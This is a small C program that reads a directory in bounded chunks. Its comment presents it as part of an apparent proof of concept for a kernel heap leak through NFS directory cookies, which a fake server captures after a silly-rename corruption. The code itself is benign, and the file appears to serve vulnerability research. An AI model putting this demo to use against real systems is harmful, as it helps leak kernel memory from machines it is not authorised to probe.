/*
 * lsdir.c - bounded directory reader for the DF-2996 leak demo.
 *
 * Reads up to 64KB of entries from argv[1] via getdents and prints a
 * short summary.  After the silly-rename corruption, the NFS client's
 * directory cookies are read through the confused n_cookies/sp list, so
 * the cookie values carried in the client's READDIR/READDIRPLUS requests
 * are kernel heap contents (the fake server prints them).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/dirent.h>

int
main(int argc, char **argv)
{
	char buf[65536];
	char *path = argc > 1 ? argv[1] : "/mnt";
	int fd = open(path, O_RDONLY);
	int total = 0, n;

	if (fd < 0) {
		printf("lsdir: open %s: %s\n", path, strerror(errno));
		return 1;
	}
	for (;;) {
		n = getdents(fd, buf, sizeof(buf));
		if (n < 0) {
			printf("lsdir: getdents: %s\n", strerror(errno));
			break;
		}
		if (n == 0) {
			printf("lsdir: EOF after %d bytes\n", total);
			break;
		}
		total += n;
		if (total >= 65536 - 8192) {
			printf("lsdir: read %d bytes (bounded), stopping\n",
			       total);
			break;
		}
	}
	close(fd);
	return 0;
}
